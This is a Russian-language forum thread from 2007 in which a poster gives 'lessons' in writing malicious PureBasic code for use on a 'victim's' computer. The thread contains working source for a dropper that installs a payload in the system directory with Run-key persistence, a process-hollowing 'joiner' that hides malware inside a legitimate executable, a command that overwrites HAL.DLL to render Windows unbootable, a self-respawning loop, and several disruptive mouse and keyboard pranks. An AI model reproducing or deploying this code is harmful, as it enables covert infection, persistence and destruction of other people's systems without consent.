|
PureBasic Мощный кросс-платформенный язык среднего уровня на основе BASIC. Подходит для решения широкого круга задач. |
10.01.2007, 19:03
|
#1
|
|
Dark side of Programming
Прим: Оригинальная тема находиться здесь: http://forum.df2.ru/index.php?showtopic=4681&st=0
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.
Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://www.boolean.name/showthread.php?t=2463), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать .
Итак, УРОК ПЕРВЫЙ:
Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности .
Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код:
Define FSwap = -1
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 100)
ForEver
Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую:
reverses or restores the meaning of the left and right mouse buttons.
BOOL SwapMouseButton(
BOOL fSwap // reverse or restore buttons
);
Parameters
fSwap
Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings.
|
После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках ) жертве в "Автозагрузку". Все, HAVE FUN . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто ...
To be continued...
|
|
|
10.01.2007, 19:11
|
#2
|
|
Re: Dark side of Programming
Итак, я думаю настало время приподать вам Урок №2 .
В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код:
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EndDataSection
Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)
Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run " значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу.
Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен .
|
|
|
Сообщение было полезно следующим пользователям:
|
|
10.01.2007, 19:16
|
#3
|
|
Re: Dark side of Programming
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())
Попробуйте запустить, вас ждут незабываемые ощущения !
|
|
|
10.01.2007, 19:34
|
#4
|
|
Re: Dark side of Programming
Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую .
Итак, открываем IDE, и пишем следующий код:
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
EndDataSection
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure
Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)
Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")
Global WinPath.s
Structure IMAGE_SECTION_HEADER
Name.b[8]
StructureUnion
PhysicalAddress.l
VirtualSize.l
EndStructureUnion
VirtualAddress.l
SizeOfRawData.l
PointerToRawData.l
PointerToRelocations.l
PointerToLinenumbers.l
NumberOfRelocations.w
NumberOfLinenumbers.w
Characteristics.l
EndStructure
Procedure injectfile(lpProcessname.s, lpBuffer.l)
Structure IMAGE_SECTION_HEADERS
a.IMAGE_SECTION_HEADER[95]
EndStructure
Result.l = 0
Startupinfo.STARTUPINFO
ProcessInfo.PROCESS_INFORMATION
Context.CONTEXT
BaseAddress.l
lpNumberOfBytesRead.l
lpNumberOfBytesWritten.w
*NtHeaders.IMAGE_NT_HEADERS
*Sections.IMAGE_SECTION_HEADERS
i.l
;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW
If CreateProcess_& #40;lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,
@ProcessInfo)
Context\ContextFlags = #CONTEXT_INTEGER
GetThreadContext_(ProcessInfo\hThread, Context);
ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
*adr.IMAGE_DOS_HEADER = lpBuffer
*NtHeaders = lpBuffer + *adr\e_lfanew
BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)
*Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
Next
WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
Result = SetThreadContext_(ProcessInfo\hThread, Context)
If Result
ResumeThread_(ProcessInfo\hThread)
Else
TerminateProcess_(ProcessInfo\hProcess, 0);
CloseHandle_(ProcessInfo\hProcess)
CloseHandle_(ProcessInfo\hThread)
EndIf
EndIf
EndIf
EndProcedure
InjectFile(ProgramFilename(), ?EXE)
С помощью вышуказанного кода можно обьединить (отсюда и название ) нашу программу-прикол (вернее иньектор с ней) с любым EXE'шником (другое дело, что не всегда это будет работать) под Windows (с DOS'овскими прогами такой фокус, увы, не пройдет). Другое дело, что не во всех случаях подобное сооружение заработает как надо, ну да это уже детали . Все просто: прописываем в обоих IncludeBinary соответствующие пути, компилируем... Ловушка готова . Единственный проблемный вопрос - подделка иконки, тоже решается довольно просто - необходимая легко извлекается из оргинального .EXE ResHacker'ом, либо другой подобной утилитой. Так, чего-то я вам еще хотела добавить напоследок... Ах да, точно: Have Fun !
EndProcedure
|
|
|
Сообщение было полезно следующим пользователям:
|
|
10.01.2007, 19:36
|
#5
|
|
Re: Dark side of Programming
Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои ) :
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
End_EXE:
EndDataSection
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure
Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)
Macro PReturn : ProcedureReturn : EndMacro
Procedure.S CombinePath(Dir.S, FName.S)
If Right(Dir, 1) <> "\" : Dir + "\" : EndIf
PReturn Dir + FName
EndProcedure
Procedure.S TempFile(Dir.S, Ext.S)
Define FName.S, TOFix
Repeat : FName = ""
TOFix = Random(39)
For I = 0 To TOFix
FName + Chr(Random(25) + 65)
Next I
FName = CombinePath(Dir, FName + "." + Ext)
Until FileSize(FName) = -1
PReturn FName
EndProcedure
Procedure.S CmdLine()
CL.S = PeekS(GetCommandLine_())
CutSize = Len(ProgramFilename())
If Left(CL, 1) = Chr('"') : CutSize + 2 : EndIf
CL = Trim(Right(CL, Len(CL) - CutSize))
PReturn CL
EndProcedure
Define CurDir.S = GetPathPart(ProgramFilename()), FNAme.S = TempFile(CurDir, ".EXE")
CreateFile(0, FName)
WriteData(0, ?EXE, ?End_EXE - ?EXE)
CloseFile(0)
RunProgram(FName, CmdLine(), CurDir, #PB_Program_Wait)
SetFileAttributes(FName, #PB_FileSystem_Normal)
DeleteFile(FName)
Настройка аналагоичная. В отличае от предыдущего Joiner'а, этот использует метод распаковки программы во временный файл (со случайным именем), и запуск уже оттуда (после окончания работы программы файл уничтожается). Этим методом можно запускать не работающие с первым Joiner'ом программы. Впрочем, есть проги, которые как раз не заработают под этим Joiner'ом. Думайте сами, решайте сами ...
|
|
|
Сообщение было полезно следующим пользователям:
|
|
10.01.2007, 19:39
|
#6
|
|
Re: Dark side of Programming
Убить Винду одной процедурой...
RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "")
Прим.: Работает только под Win2K+.
|
|
|
10.01.2007, 19:47
|
#7
|
|
Re: Dark side of Programming
Пьяная, пьяная мишь... ©
Define X, Y, X1, Y1, Z
Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro
GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver
Мышку начнет заносить как пьяную .
|
|
|
10.01.2007, 19:54
|
#8
|
|
Re: Dark side of Programming
Mix обоих мышиных приколов:
Global FSwap = -1, X, Y, X1, Y1, Z
Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro
Procedure ButtonSwitcher(A)
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 1000)
ForEver
EndProcedure
CreateThread(@ButtonSwitcher(), 0)
GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver
Прим.: Вроде как работает и с отключенным threadsafe...
|
|
|
11.01.2007, 21:48
|
#9
|
|
Re: Dark side of Programming
Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться ?) :
#A = 'A'
#Z = 'Z'
#Second = 1000;MS
Macro Rnd()
Random(#Z - #A) + #A
EndMacro
Repeat
Define Key = Rnd()
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(15 * #Second)
ForEver
|
|
|
12.01.2007, 02:52
|
#10
|
Знающий
Регистрация: 05.01.2007
Сообщений: 229
Написано 5 полезных сообщений (для 3 пользователей)
|
Re: Dark side of Programming
хм.. любопытно.. хотя увлекаюсь другими областями применения программирования.
Был такой прикол в QBASIC'е.
Создаем файл.
записывам по первой позиции (размер сегмента 128 байт кажется) и по кукой-нибудь 100000.
закрываем файл.
и ОПА!!!
за две комманды и 0,NNN секунд мы получили файл рамером 100-800 МБ, кому сколько хочется (маленький - не интересно).
Но он не пустой.
И дело не в том, что мы в него записали полкилобайта.
В файле можно просмотреть содержимое диска в том месте, которое адресно занял файл.
Я был неожиданно удивлен обнаружив в нем строки двухлетней давности.
Какие-то имена файлов или URL'ы..
Так что можно пошпиенить без всяки FAT-explorer'ов )
Приношу извинения, если не следовало писать это в данной теме.
|
(Offline)
|
|
Сообщение было полезно следующим пользователям:
|
|
12.01.2007, 08:19
|
#11
|
.
Регистрация: 05.08.2006
Сообщений: 10,429
Написано 3,454 полезных сообщений (для 6,863 пользователей)
|
Re: Dark side of Programming
Chrono Syndrome Очень интерестные уроки, обязательно ждём продолжений!
|
(Offline)
|
|
12.01.2007, 14:01
|
#12
|
Зануда с интернетом
Регистрация: 04.09.2005
Сообщений: 14,014
Написано 6,798 полезных сообщений (для 20,935 пользователей)
|
Re: Dark side of Programming
Сообщение от Serendipity
хм.. любопытно.. хотя увлекаюсь другими областями применения программирования.
Был такой прикол в QBASIC'е.
Создаем файл.
записывам по первой позиции (размер сегмента 128 байт кажется) и по кукой-нибудь 100000.
закрываем файл.
и ОПА!!!
за две комманды и 0,NNN секунд мы получили файл рамером 100-800 МБ, кому сколько хочется (маленький - не интересно).
Но он не пустой.
И дело не в том, что мы в него записали полкилобайта.
В файле можно просмотреть содержимое диска в том месте, которое адресно занял файл.
Я был неожиданно удивлен обнаружив в нем строки двухлетней давности.
Какие-то имена файлов или URL'ы..
Так что можно пошпиенить без всяки FAT-explorer'ов )
Приношу извинения, если не следовало писать это в данной теме.
|
Да, бывает весьма занятно почитать в ASCII-режиме память (HDD|RAM)...
__________________
http://nabatchikov.com
Мир нужно делать лучше и чище. Иначе, зачем мы живем? tormoz
А я растила сына на преданьях
о принцах, троллях, потайных свиданьях,
погонях, похищениях невест.
Да кто же знал, что сказка душу съест?
|
(Offline)
|
|
12.01.2007, 23:07
|
#13
|
Оператор ЭВМ
Регистрация: 10.01.2007
Сообщений: 37
Написано 6 полезных сообщений (для 5 пользователей)
|
Re: Dark side of Programming
А вот тоже интересный код, который можно оформить в весёлую шутку, если прикрутить к таймеру, и менять системную палитру каждые секунд 20!
;kvitaliy for PB4.* 12.01.2007
;{- Enumerations
;{ Windows
Enumeration
#Window_0
EndEnumeration
;}
;{ Gadgets
Enumeration
#ButtonGadget_0
#ButtonGadget_1
EndEnumeration
;}
;}
;{ можно менять цвет конкретных элементов
; #COLOR_SCROLLBAR = 0
; #COLOR_BACKGROUND = 1
; #COLOR_ACTIVECAPTION = 2
; #COLOR_INACTIVECAPTION = 3
; #COLOR_MENU = 4
; #COLOR_WINDOW = 5
; #COLOR_WINDOWFRAME = 6
; #COLOR_MENUTEXT = 7
; #COLOR_WINDOWTEXT = 8
; #COLOR_CAPTIONTEXT = 9
; #COLOR_ACTIVEBORDER = 10
; #COLOR_INACTIVEBORDER = 11
; #COLOR_APPWORKSPACE = 12
; #COLOR_HIGHLIGHT = 13
; #COLOR_HIGHLIGHTTEXT = 14
; #COLOR_BTNFACE = 15
; #COLOR_BTNSHADOW = 16
; #COLOR_GRAYTEXT = 17
; #COLOR_BTNTEXT = 18
; #COLOR_INACTIVECAPTIONTEXT = 19 ;Text of inactive window
; #COLOR_BTNHIGHLIGHT = 20 ;3D highlight of button
;}
Global Dim SavedColors(21)
Global Dim IndexArray(21)
Global Dim NewColors(21)
Procedure OpenWindow_Window_0()
If OpenWindow(#Window_0, 386, 260, 275, 62, "Цвет системной палитры", #PB_Window_SystemMenu|#PB_Window_TitleBar|#PB_Window_SizeGadget)
If CreateGadgetList(WindowID(#Window_0))
ButtonGadget(#ButtonGadget_0, 15, 15, 95, 20, "Изменить")
ButtonGadget(#ButtonGadget_1, 150, 15, 100, 20, "Восстановить")
EndIf
EndIf
EndProcedure
OpenWindow_Window_0()
For i = 0 To 20
SavedColors(i) = GetSysColor_(i)
Next i
;{- Event loop
Repeat
Event = WaitWindowEvent()
Select Event
; ///////////////////
Case #PB_Event_Gadget
EventGadget = EventGadget()
EventType = EventType()
If EventGadget = #ButtonGadget_0
; Изменить цвета всех элементов на экране случайным образом
For i = 0 To 20
NewColors(i) = RGB(Random(255),Random(255),Random(255))
IndexArray(i) = i
Next i
SetSysColors_( 21, @IndexArray(0), @NewColors(0))
ElseIf EventGadget = #ButtonGadget_1
; восстановить цвет
SetSysColors_( 21, @IndexArray(0), @SavedColors(0))
EndIf
; //////////////////////
Case #PB_Event_CloseWindow
EventWindow = EventWindow()
If EventWindow = #Window_0
Break
EndIf
EndSelect
ForEver
;}
; восстановить цвет перед выходом!!!
SetSysColors_( 21, @IndexArray(0), @SavedColors(0))
End
|
(Offline)
|
|
13.01.2007, 22:32
|
#14
|
|
Re: Dark side of Programming
Serendipity
хочу заметить что не надо заниматся извратом
ничего не запрещает произвести чтение любого сектора HDD или оперативной памяти
можно так же свободно читать дискеты и cd-rom
да и содержимое bios тоже практически свободно открыто
|
|
|
26.10.2007, 21:18
|
#15
|
Троллота
Регистрация: 09.07.2007
Сообщений: 1,829
Написано 554 полезных сообщений (для 1,772 пользователей)
|
Re: Dark side of Programming
А можно, плиз, привести алгоритм этих джойнеров? Был бы очень благодарен
|
(Offline)
|
|
Ваши права в разделе
|
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения
HTML код Выкл.
|
|
|
Часовой пояс GMT +4, время: 15:38.
|